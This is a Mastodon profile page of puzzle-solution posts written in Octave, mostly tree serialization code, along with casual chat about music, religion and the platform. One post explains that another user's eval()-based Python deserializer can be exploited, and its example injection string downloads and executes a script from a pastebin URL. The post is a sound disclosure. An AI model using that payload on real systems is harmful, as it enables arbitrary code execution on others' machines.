Show newer

Better deserialize() 

function indices = control_chars(string)
special_chars = strchr(string, '(,)');
indices = [];
if ~isempty(special_chars)
is_backslash = string == '\';
for i = special_chars
is_escaped = false;
for j = (i - 1):-1:1
if is_backslash(j)
is_escaped = ~is_escaped;
else
break; end; end;
if ~is_escaped
indices = [indices i]; end; end; end; end;

function node = deserialize(string)
controls = control_chars(string);
if numel(controls) == 0
node.val = unescape_chars(string);
node.left = [];
node.right = [];
else
if string(controls(1)) ~= '('
error('Invalid control character at %d', controls(1)); end;
nested_level = 0;
top_controls = NaN(3, 1);
for i = controls
switch string(i)
case '('
if nested_level == 0
top_controls(1) = i; end;
nested_level++;
case ','
if nested_level == 1
if ~isnan(top_controls(2))
error('Encountered '','' at %d after finding two children', i); end;
top_controls(2) = i; end;
case ')'
if nested_level <= 1
if isnan(top_controls(2))
error('Encountered '')'' at %d before finding two children', i);
elseif i ~= numel(string)
error('Encountered final '')'' at %d before end of string', i); end;
top_controls(3) = i; end;
nested_level--; end; end;
if any(isnan(top_controls))
error('Incomplete tree description'); end;
node.val = unescape_chars(string(1:(top_controls(1) - 1)));
node.left = deserialize(string((top_controls(1) + 1):(top_controls(2) - 1)));
node.right = deserialize(string((top_controls(2) + 1):(end - 1))); end; end;

@Absinthe I have hardly any experience with Python but I think you ought to write your own parser that reports an error on input that can't represent an actual tree (this is what I did in my solution, anyway). The other issue is making sure you escape any special characters in Node.val so your parser doesn't treat them as control characters.

Octave solution 

function self = node(val, left = [], right = [])
self.val = val;
self.left = left;
self.right = right; end;

function escaped = escape_chars(raw)
escaped = regexprep(raw, '([\\\(\),])', '\\$1'); end;

function raw = unescape_chars(escaped)
i = 1;
while i < numel(escaped)
if escaped(i) == '\'
escaped = escaped([1:(i - 1) (i + 1):end]); end;
i++; end;
raw = escaped; end

function index = val_extent(string)
special_chars = strchr(string, '(,)');
if isempty(special_chars)
index = 0;
else
is_backslash = string == '\';
for i = special_chars
is_escaped = false;
for j = (i - 1):-1:1
if is_backslash(j)
is_escaped = ~is_escaped;
else
break; end; end;
if ~is_escaped
break; end; end;
index = i; end; end;

function string = serialize(tree)
if isempty(tree)
string = [];
elseif isempty(tree.left) && isempty(tree.right)
string = escape_chars(tree.val);
else
string = [escape_chars(tree.val) '(' serialize(tree.left) ',' serialize(tree.right) ')']; end; end

function [node, leftover] = deserialize(string)
next_special = val_extent(string);
if next_special == 0
node.val = unescape_chars(string);
node.left = [];
node.right = [];
leftover = [];
elseif string(next_special) == '('
node.val = unescape_chars(string(1:(next_special - 1)));
leftover = string((next_special + 1):end);
[node.left, leftover] = deserialize(leftover);
[node.right, leftover] = deserialize(leftover);
else
if next_special == 1
node = [];
else
node.val = unescape_chars(string(1:(next_special - 1)));
node.left = [];
node.right = []; end
if string(next_special) == ','
leftover = string((next_special + 1):end);
else
leftover = string((next_special + 2):end); end; end; end;

Unsafe code behaviour 

@Absinthe Your implementation of serialize() can't handle nodes whose names contain quote marks. Ordinarily this would only cause it to output strings that deserialize() can't understand, but, since your implementation of deserialize() eval()s its argument, it's possible to execute arbitrary code on any machine attempting to deserialize(serialize()). For example:

node = Node("' + str(exec('import urllib.request; exec(urllib.request.urlopen(\\\'pastebin.com/raw/Tuh7jNbc\\\').read())')) + '")

deserialize(serialize(node));

Octave solution 

function index = first_missing(array)

for i = 1:numel(array)
index = array(i);
if index > 0 && index <= numel(array)
array(i) = array(index);
array(index) = index; end; end;
index = i + 1;
while i > 0
if array(i) != i
index = i; end;
i--; end; end;

Octave solution: print_combos(1:9, 100) 

function num = print_combos(arr, tgt)
num = 0;
ops = zeros(numel(arr) - 1, 1);
for i = int32(0:(3 ^ numel(ops)))
for j = 1:numel(ops)
ops(j) = mod(i, 3);
i = floor(i / 3); end;
if eval_array(arr, ops) == tgt
for j = 1:numel(ops) fprintf("%d%s", arr(j), decode_op(ops(j))); end;
fprintf("%d = %d\n", arr(end), tgt);
num++; end; end; end

function res = eval_array(arr, ops)
i = 1;
while i <= numel(ops)
if ops(i) == 0
arr = [arr(1:(i - 1)) 10 * arr(i) + arr(i + 1) arr((i + 2): end)];
ops = ops([1:(i - 1) (i + 1):end]);
else i++; end; end;
res = arr(1);
for i = 1:numel(ops)
res = apply_op(res, arr(i + 1), ops(i)); end; end

function res = apply_op(lar, rar, idx)
if idx == 1 res = lar + rar;
elseif idx == 2 res = lar - rar; end; end

function sym = decode_op(num)
if num == 1 sym = " + ";
elseif num == 2 sym = " - ";
else sym = ""; end; end;

@arteteco On the experimental end of the spectrum, I've been enjoying 19-EDO music (dividing the octave into nineteen pitches rather than the conventional twelve). Most microtonal schemes just sound really weird and discordant, but 19-EDO is more like "normal" music with new chords.

Blackwood, 1981: "Fanfare in 19-note Equal Tuning," Op. 28a
youtube.com/watch?v=aB4nwq8NGY

@freemo Despite all the attacks on them in the comments, the ADL actually debunked this: adl.org/blog/how-the-ok-symbol-became-a-popular-trolling-gesture

@freemo Is there a way to individually opt out of the server-imposed silence? E.g. if I want Spinster posts to show up in my federated feed, how could I accomplish this short of following everyone on the instance? I don't really want them in my home feed but federated would be fine.

@peterdrake How about a setting where it assumes general familiarity with the home area?
When you start off, it says "Get on Highway X westbound," instead of holding my hand through several different minor intersections (which I already know by heart) as I leave the subdivision. Then it gets more precise in the vicinity of the destination where I may know only the major thoroughfares and need help finding my destination on the side streets.

@freemo I'm told by my (Protestant) seminarian friend that this may be due to denominational differences, as the infant Jesus is venerated along with his mother Mary in Catholic tradition. Protestant references to "baby Jesus" are likely ironic today, since it was vigorously parodied in the movie Talladega Nights.

@jeffcliff@niu.moe It opens the party up to charges that it doesn't stick to its positions and is thus untrustworthy. Politicians try to convince the electorate they have strong principles so they can be relied upon to do the right thing, but if they adopt another party's position, either they are opportunists who seek political advantage by abandoning their principles, or they aren't competent enough to have come up with the better position on their own.

@freemo Side note - why does the word "prayer" mean the words spoken, not the person doing the speaking? Shouldn't it be "prayage" or something like that, so we can reserve "prayer" for the person performing the action?

@freemo From the Christian things I've been to, my impression is that prayers addressed to baby Jesus relate to things like innocence, purity, and so forth - that is, concepts associated with childhood. Prayers for strength and the like would tend to be addressed to Jesus from the Last Supper to the Crucifixion, and prayers for the departed to Jesus in Heaven.

However, a friend of mine started seminary this month, who will probably know more. I'll pass along any additional info she gives me.

@TheCzar @freemo I'm actually less happy about participating in a private conversation due to the potential for *doctored* screenshots and other accusations. Having a conversation in public isn't meant to actively further my reputation, but to defend against certain attacks that might be made against it.

@TatsuyaIshida In case you haven't seen them, the Dilbert strips from the past three days have critiqued the same ideas. I don't remember the last time I saw overlap between Dilbert and Sinfest, but it's unusual enough to be remarked upon.

@TheGnuMaster How does one find out when the candidates are going to hold local events? I don't really want to give them my email address, but if the events were listed on a publicly-viewable calendar I'd try to catch a couple and listen to their messages.

@freemo The user I'm trying to follow has no such lock, but I see the one you mean on another user. Also the button says "Follow", not "Request", before I click it.

Show older

K‮ly‬e's choices:

Qoto Mastodon

QOTO: Question Others to Teach Ourselves
An inclusive, Academic Freedom, instance
All cultures welcome.
Hate speech and harassment strictly forbidden.